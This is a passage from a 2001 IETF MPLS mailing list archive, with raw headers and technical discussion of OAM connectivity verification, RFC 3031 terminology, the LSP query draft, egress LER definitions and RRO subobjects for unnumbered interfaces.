	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 00:48:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqat14126
	for <mpls@uu.net>; Tue, 22 May 2001 00:47:50 GMT
Received: from dnsmx2pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkqat12281
	for <mpls@uu.net>; Tue, 22 May 2001 00:47:49 GMT
Received: from notes800.cc.telcordia.com (notes800a.cc.telcordia.com [128.96.79.8])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id UAA05152;
	Mon, 21 May 2001 20:42:21 -0400 (EDT)
Subject: LMP CV and MPLS OAM CV
To: neil.2.harrison@bt.com, mpls@UU.NET
From: "Robert Streijl" <rstreijl@telcordia.com>
Date: Mon, 21 May 2001 20:42:22 -0400
Message-ID: <OF0C73FD7F.781DF001-ON85256A54.0003A504@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes800/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/21/2001 08:42:23 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Neil et al,

What is the difference between connectivity verification provided by LMP,
and CV OAM packets?
Will there be any extensions to the MPLS OAM document on GMPLS OAM?
What is the status on P-flows in MPLS OAM?

Thanks,
Robert





From owner-mpls@UU.NET  Mon May 21 21:31:52 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA21721
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 21:31:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqaw06111;
	Tue, 22 May 2001 01:31:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkqaw09718
	for mpls-outgoing; Tue, 22 May 2001 01:30:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqaw09702
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 01:30:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqav13895
	for <mpls@UU.NET>; Tue, 22 May 2001 01:29:43 GMT
Received: from smtp3.163.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.108.44.225])
	id QQkqav03101
	for <mpls@UU.NET>; Tue, 22 May 2001 01:29:42 GMT
Received: from sean (unknown [61.129.21.75])
	by smtp3.163.com (Postfix) with SMTP
	id 88B811C40FD83; Tue, 22 May 2001 09:23:43 +0800 (CST)
Date: Tue, 22 May 2001 9:40:36 +0800
From: "Hailong Lu.sean" <sealong@163.com>
To: "mgoel@hss.hns.com" <mgoel@hss.hns.com>
Cc: "mpls@uu.net" <mpls@UU.NET>
Subject: Re: Re: rfc 3031.section3.2.again
X-mailer: FoxMail 3.11 Release [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit
Message-Id: <20010522012343.88B811C40FD83@smtp3.163.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,there
     I can understand you mean there should be a LSP which "may" route 
through RD.But how can packets being "routed" in a MPLS domain?From 
my idea,they should be label "switched".
     correct me.



regards,
sean




>Hi Sean!
>
>As per my understanding, Let Ru is the upstream LSR and Rd is the downstream LSR
>with respect to a binding. Then on receiving a packet(labeled/unlabeled) at Ru,
>Ru calls either ILM/FTN to map the packet to the set S of NHLFEs. Whether the
>packet will be routed through Rd or some other LSR in the set S, has to be
>decided by the Ru. So the statement only means to say that the packet of that
>FEC, received on Ru "may" be routed through Rd.
>
>pls correct me if I am wrong.
>
>Regards
>Mohit
>
>
>
>
>"Hailong Lu.sean" <sealong@163.com> on 05/18/2001 01:05:56 PM
>
>To:   "mpls@uu.net" <mpls@UU.NET>, "mpls@uu.net" <mpls@UU.NET>
>cc:    (bcc: Mohit Goel/HSS)
>
>Subject:  rfc 3031.section3.2.again
>
>
>
>
>Hi,all
>   Sorry about this subject again.
>   From the section3.2 of rfc3031:
>          "To say that one node is upstream and one is downstream with respect
>        to a given binding means only that a particular label represents a
>        particular FEC in packets travelling from the upstream node to the
>        downstream node.  This is NOT meant to imply that packets in that FEC
>        would actually be routed from the upstream node to the downstream
>        node"
>   I can understand the first part of this section:the upstream and downstream
>concepts are just meaningful when respect the binding of label and FEC.But I
>can't make sure why the "routed" problem is refered particularly in the second
>part of it.From my idea,in MPLS domain,after having been labeled by the ingress
>MPLS node,the packets are label switched.I mean there is no routing problem.
>   thanks.
>
>
>
>sean




From owner-mpls@UU.NET  Tue May 22 00:21:23 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA25577
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 00:21:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbh15151;
	Tue, 22 May 2001 04:20:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbh18293
	for mpls-outgoing; Tue, 22 May 2001 04:20:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqbh18288
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 04:20:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqbh20991
	for <mpls@UU.NET>; Tue, 22 May 2001 04:17:45 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkqbh11463
	for <mpls@UU.NET>; Tue, 22 May 2001 04:17:45 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id AAA18479; Tue, 22 May 2001 00:17:38 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Tue, 22 May 2001 00:17:40 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <K83J5Q33>; Tue, 22 May 2001 00:17:43 -0400
Message-ID: <F033F6FEF3F1D111BD150000F8CD143106F4FC27@zcard007.ca.nortel.com>
From: "Don Fedyk" <dwfedyk@nortelnetworks.com>
To: Loa Andersson <loa.andersson@utfors.se>
Cc: Eric Gray <eric.gray@sandburst.com>, MPLS Mailing List <mpls@UU.NET>
Subject: RE: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
Date: Tue, 22 May 2001 00:17:41 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0E276.2465BF00"
X-Orig: <dwfedyk@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0E276.2465BF00
Content-Type: text/plain;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

Loa

The query draft is general and can be applied to LDP as well
as CR-LDP where it functions analogous to RSVP-TE record route.
An IGP drives topology for both LDP and the TE portions for=20
TE based paths.

other comments below:
> -----Original Message-----
> From: Loa Andersson [mailto:loa.andersson@utfors.se]
> Sent: Monday, May 21, 2001 6:53 AM
> To: Fedyk, Don [BL60:2868:EXCH]
> Cc: Eric Gray; MPLS Mailing List
> Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
>=20
>=20
> Don,
>=20
> I think Eric and I agreed that perfect/precise knowledge of the
> state of the network is not possible. What I suggested was that
> the IGPgives me the knowledge I need, i.e. good enough.

Good enough if the LDP strictly follows the IGP. But if it=20
uses route pining or some form of load spreading a query=20
tells like it is.
>=20
> The precision/prefection of the knowledge gained by the IGP vs.
> a query is not better or worse, just different.
>=20
Agreed, a query is more detailed and not performed as often.

> The situation I talked about was when the dynamic aspect of e.g.
> has changed a link, because of changes in the IGP, not the other
> way around.
>=20
Not sure how you change an IGP, but topology changes force =
recomputation
and new next hops which get reflected into LDP. I wouldn't use query=20
to effect this but I might you query to verify some of the LSPs.


> Have you calculated the amount of state that needs to be kept and
> the amount of traffic to be sent and/or received to second-guess
> the IGP - assuming that you uses just ten percent of the available
> label speace?
>=20

Not sure I understand your question.
There is no second guessing. The IGP is in tack. The LSPs are in some =
form
following either an IGP path or a strict explicit path. The query =
verifies=20
a path by following it. Again a query is mostly like a ping or a trace =
route
with more information pertaining to the LSP. The point I made in my =
previous

email is that this trace route information can be more accurate than =
the IGP
TE information but of course the IGP next hop information is accurate. =
But=20
just like ping and trace route the query is a reality check for the IGP =
and=20
may go beyond the scope of an IGP.  You need both. One is not a =
substitute=20
for the other.

Don



> /Loa
>=20
> > Don Fedyk wrote:
>=20
> > > > Loa,
> > > >
> > > >     Because you cannot have perfect knowledge of the state of
> > > > the network.  What you say about the difference in the state of
> > > > the network between times 't' and 't+n' will also be true of =
the
> >=20
> > > > difference between times 't+(a(n))' and 't+((a+1)(n))'.
> > >
> > > This seems to strengthen what I said. At any point in time, after
> > > just shortly before the receipt of the query response, there is
> > > an uncertainty in the
> > >
> > > > And
> > > > what constitutes 'good enough' knowledge of the state of the
> > > > network may be difficult to standardize - especially without
> > > > some real deployment experience.
> > >
> > > The conservative position would be that you have "good enough"
> > > knowledge from the IGP.
> >=20
> > Not really. You have knowledge of aggregates but a query gives you
> > precise
> > information. You don't need to update the IGP every time a path
> > changes
> > you only need to when thresholds have been crossed. As far as
> > knowing when to
> > query it is quite reasonable to keep a path changed state a the end
> > of
> > an LSP that can tell you whether there is change since the last
> > query.
> >=20
> > <snip>
> >=20
> > Don
>=20
> --=20
> Loa Andersson
> Chief Architect,
> Utfors Research, Architecture and Future Lab (URAX)
> Utfors AB
> R=E5sundav=E4gen 12
> Box 525, 169 29 Solna
> Office          +46 8 5270 2000
> Office direct   +46 8 5270 5038
> Mobile          +46 70 848 5038
> Email           loa.andersson@utfors.se
> WWW             www.utfors.se
>=20

------_=_NextPart_001_01C0E276.2465BF00
Content-Type: text/html;
	charset="ISO-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkqbh15151
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3DISO-885=
9-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version 5.5.2654.5=
9">
<TITLE>RE: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Loa</FONT>
</P>

<P><FONT SIZE=3D2>The query draft is general and can be applied to LDP as=
 well</FONT>
<BR><FONT SIZE=3D2>as CR-LDP where it functions analogous to RSVP-TE reco=
rd route.</FONT>
<BR><FONT SIZE=3D2>An IGP drives topology for both LDP and the TE portion=
s for </FONT>
<BR><FONT SIZE=3D2>TE based paths.</FONT>
</P>

<P><FONT SIZE=3D2>other comments below:</FONT>
<BR><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Loa Andersson [<A HREF=3D"mailto:loa.anders=
son@utfors.se">mailto:loa.andersson@utfors.se</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Monday, May 21, 2001 6:53 AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: Fedyk, Don [BL60:2868:EXCH]</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: Eric Gray; MPLS Mailing List</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query=
-02.txt</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Don,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I think Eric and I agreed that perfect/precise kn=
owledge of the</FONT>
<BR><FONT SIZE=3D2>&gt; state of the network is not possible. What I sugg=
ested was that</FONT>
<BR><FONT SIZE=3D2>&gt; the IGPgives me the knowledge I need, i.e. good e=
nough.</FONT>
</P>

<P><FONT SIZE=3D2>Good enough if the LDP strictly follows the IGP. But if=
 it </FONT>
<BR><FONT SIZE=3D2>uses route pining or some form of load spreading a que=
ry </FONT>
<BR><FONT SIZE=3D2>tells like it is.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The precision/prefection of the knowledge gained =
by the IGP vs.</FONT>
<BR><FONT SIZE=3D2>&gt; a query is not better or worse, just different.</=
FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>Agreed, a query is more detailed and not performed as =
often.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; The situation I talked about was when the dynamic =
aspect of e.g.</FONT>
<BR><FONT SIZE=3D2>&gt; has changed a link, because of changes in the IGP=
, not the other</FONT>
<BR><FONT SIZE=3D2>&gt; way around.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>Not sure how you change an IGP, but topology changes f=
orce recomputation</FONT>
<BR><FONT SIZE=3D2>and new next hops which get reflected into LDP. I woul=
dn't use query </FONT>
<BR><FONT SIZE=3D2>to effect this but I might you query to verify some of=
 the LSPs.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; Have you calculated the amount of state that needs=
 to be kept and</FONT>
<BR><FONT SIZE=3D2>&gt; the amount of traffic to be sent and/or received =
to second-guess</FONT>
<BR><FONT SIZE=3D2>&gt; the IGP - assuming that you uses just ten percent=
 of the available</FONT>
<BR><FONT SIZE=3D2>&gt; label speace?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>Not sure I understand your question.</FONT>
<BR><FONT SIZE=3D2>There is no second guessing. The IGP is in tack. The L=
SPs are in some form</FONT>
<BR><FONT SIZE=3D2>following either an IGP path or a strict explicit path=
. The query verifies </FONT>
<BR><FONT SIZE=3D2>a path by following it. Again a query is mostly like a=
 ping or a trace route</FONT>
<BR><FONT SIZE=3D2>with more information pertaining to the LSP. The point=
 I made in my previous </FONT>
<BR><FONT SIZE=3D2>email is that this trace route information can be more=
 accurate than the IGP</FONT>
<BR><FONT SIZE=3D2>TE information but of course the IGP next hop informat=
ion is accurate. But </FONT>
<BR><FONT SIZE=3D2>just like ping and trace route the query is a reality =
check for the IGP and </FONT>
<BR><FONT SIZE=3D2>may go beyond the scope of an IGP.&nbsp; You need both=
. One is not a substitute </FONT>
<BR><FONT SIZE=3D2>for the other.</FONT>
</P>

<P><FONT SIZE=3D2>Don</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; /Loa</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Don Fedyk wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Loa,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp; Because yo=
u cannot have perfect knowledge of the state of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; the network.&nbsp; What you say ab=
out the difference in the state of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; the network between times 't' and =
't+n' will also be true of the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; difference between times 't+(a(n))=
' and 't+((a+1)(n))'.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; This seems to strengthen what I said. A=
t any point in time, after</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; just shortly before the receipt of the =
query response, there is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; an uncertainty in the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; And</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; what constitutes 'good enough' kno=
wledge of the state of the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; network may be difficult to standa=
rdize - especially without</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; some real deployment experience.</=
FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The conservative position would be that=
 you have &quot;good enough&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; knowledge from the IGP.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Not really. You have knowledge of aggregates=
 but a query gives you</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; precise</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; information. You don't need to update the IG=
P every time a path</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; changes</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; you only need to when thresholds have been c=
rossed. As far as</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; knowing when to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; query it is quite reasonable to keep a path =
changed state a the end</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; an LSP that can tell you whether there is ch=
ange since the last</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; query.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &lt;snip&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Don</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; Loa Andersson</FONT>
<BR><FONT SIZE=3D2>&gt; Chief Architect,</FONT>
<BR><FONT SIZE=3D2>&gt; Utfors Research, Architecture and Future Lab (URA=
X)</FONT>
<BR><FONT SIZE=3D2>&gt; Utfors AB</FONT>
<BR><FONT SIZE=3D2>&gt; R=E5sundav=E4gen 12</FONT>
<BR><FONT SIZE=3D2>&gt; Box 525, 169 29 Solna</FONT>
<BR><FONT SIZE=3D2>&gt; Office&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; +46 8 5270 2000</FONT>
<BR><FONT SIZE=3D2>&gt; Office direct&nbsp;&nbsp; +46 8 5270 5038</FONT>
<BR><FONT SIZE=3D2>&gt; Mobile&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; +46 70 848 5038</FONT>
<BR><FONT SIZE=3D2>&gt; Email&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; loa.andersson@utfors.se</FONT>
<BR><FONT SIZE=3D2>&gt; WWW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; www.utfors.se</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0E276.2465BF00--


From owner-mpls@UU.NET  Tue May 22 01:53:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA28950
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 01:53:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbn19514;
	Tue, 22 May 2001 05:52:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbn12844
	for mpls-outgoing; Tue, 22 May 2001 05:52:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbn12833
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 05:52:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqbn09359
	for <mpls@uu.net>; Tue, 22 May 2001 05:50:36 GMT
Received: from pdc2proxy.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.129.228.195])
	id QQkqbn27135
	for <mpls@uu.net>; Tue, 22 May 2001 05:50:32 GMT
Received: from pdc2vwall.wipro.com (pdc2vwall.wipro.com [10.111.14.18])
	by pdc2proxy.wipro.com (8.9.3/8.9.3) with SMTP id LAA12277
	for <mpls@uu.net>; Tue, 22 May 2001 11:22:26 GMT
Received: from Asish ([10.111.11.55]) by pdc2mail.mail.wipro.com
          (Netscape Messaging Server 4.15) with SMTP id GDPVXB00.U4T for
          <mpls@uu.net>; Tue, 22 May 2001 03:19:59 +0000 
From: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
To: <mpls@UU.NET>
Subject: Doubt about Egress Label Edge Router
Date: Tue, 22 May 2001 11:30:16 +0530
Message-ID: <OMEIJJMMOPBHIBPKIFGIMEIKCBAA.asish.punnoose@wipro.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi all,

LSRs along the LSP swap the label on the top of the label stack and forward
the packet and Egress LER pops the label and then forwards the packed. can
any other LSR pop out the label? What is the Definition of Egress LER? If an
LSR who can POP the label, is a Egress router?

Thanks In Advance
-Asish



From owner-mpls@UU.NET  Tue May 22 02:06:03 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA06995
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 02:06:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbo06431;
	Tue, 22 May 2001 06:05:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbo01063
	for mpls-outgoing; Tue, 22 May 2001 06:05:14 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbo00739
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 06:05:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqbo23683
	for <mpls@uu.net>; Tue, 22 May 2001 06:04:43 GMT
Received: from fsnt.future.futsoft.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkqbo10511
	for <mpls@uu.net>; Tue, 22 May 2001 06:04:42 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000163736@fsnt.future.futsoft.com>;
 Tue, 22 May 2001 11:40:27 +0530
Received: from future.futsoft.com (arumugamr.future.futsoft.com [10.20.6.33])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with ESMTP id f4M64IG20639;
	Tue, 22 May 2001 11:34:18 +0530
Message-Id: <3B0A0331.2A411471@future.futsoft.com>
Date: Tue, 22 May 2001 11:42:01 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Organization: FSL
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Nic Larkin <NPL@dataconnection.com>
Cc: Juniper - Kireeti Kompella <kireeti@juniper.net>, yakov@juniper.net,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Unnumbered interface IDs in RROs
References: <37701240971DD31193970000F6CCB9F7019F6D68@duke.datcon.co.uk>
Content-Type: multipart/mixed;
 boundary="------------37A3497CDDC8E853949F3812"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------37A3497CDDC8E853949F3812
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Nic,

I think the Router ID field is unnecessary in the newly defined RRO subobject
for unnumbered interface. If you consider the processing of the new subobject
in lines with that of the label subobject mentioned in rsvp-lsp-tunnel-08 draft
the operation will be quite clear.

i.e. always the new subobject(Type 4) should be accompanied with the subobject
1 ( IPv4 Address Type 1), which states that always the address added to the
IPv4 subobject should be the Router ID.  Then the need for having an extra
field of "Router ID" is also resolved. I feel that a statement " mandatorily
the unnumbered interface ID subobject (Type 4) has to accompany IPv4 subobject
(Type 1)" will solve the purpose in the draft mpls-rsvp-unnum-01.

Regards
Arumugam R

Nic Larkin wrote:

> Hi Kireeti, Yakov,
>
> Can you help me with a query about draft-ietf-mpls-rsvp-unnum-01?
>
> Section 7 defines the unnumbered interface subobject of the Record Route
> Object.  This subobject has an "Interface ID" field to identify the
> unnumbered link.
>
> My question is: should there also be a "Router ID" field in the definition
> of the Record Route subobject, as per the ERO subobject in section 6?  This
> would be used to identify which LSR the unnumbered interface belongs to,
> e.g. allowing the ingress to construct a strict ERO when doing LSP Pinning.
>
> Thanks and regards,
> Nic.
>
> Nic Larkin
> Network Convergence Group
> Data Connection Ltd
> Tel:   +44 20 8366 1177           Fax:   +44 20 8363 1533
> Email: npl@dataconnection.com     Web:   http://www.dataconnection.com

--------------37A3497CDDC8E853949F3812
Content-Type: text/x-vcard; charset=us-ascii;
 name="arumugamr.vcf"
Content-Description: Card for Arumugam R
Content-Disposition: attachment;
 filename="arumugamr.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Ramasamy;Arumugam
tel;home:6223683
tel;work:4330550 Extn- 363
x-mozilla-html:FALSE
url:www.futsoft.com
org:Future Software;Products
version:2.1
email;internet:arumugamr@future.futsoft.com
title:Senior Software Engineer
adr;quoted-printable:;;480 Mount Road,=0D=0ANandanam,=0D=0A;Chennai;Tamil Nadu;600 035;India
fn:Aru
end:vcard

--------------37A3497CDDC8E853949F3812--



From owner-mpls@UU.NET  Tue May 22 02:34:18 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA08779
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 02:34:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqbq02302;
	Tue, 22 May 2001 06:33:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkqbq04517
	for mpls-outgoing; Tue, 22 May 2001 06:32:37 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqbq04506
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 06:32:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqbq17985
	for <mpls@UU.NET>; Tue, 22 May 2001 06:32:02 GMT
Received: from penguin-ext.wise.edt.ericsson.se by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	id QQkqbq01622
	for <mpls@UU.NET>; Tue, 22 May 2001 06:32:01 GMT
Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f4M6W0O15267
	for <mpls@UU.NET>; Tue, 22 May 2001 08:32:00 +0200 (MEST)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Tue May 22 08:32:00 2001 +0200
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <G9WK7N10>; Tue, 22 May 2001 08:32:00 +0200
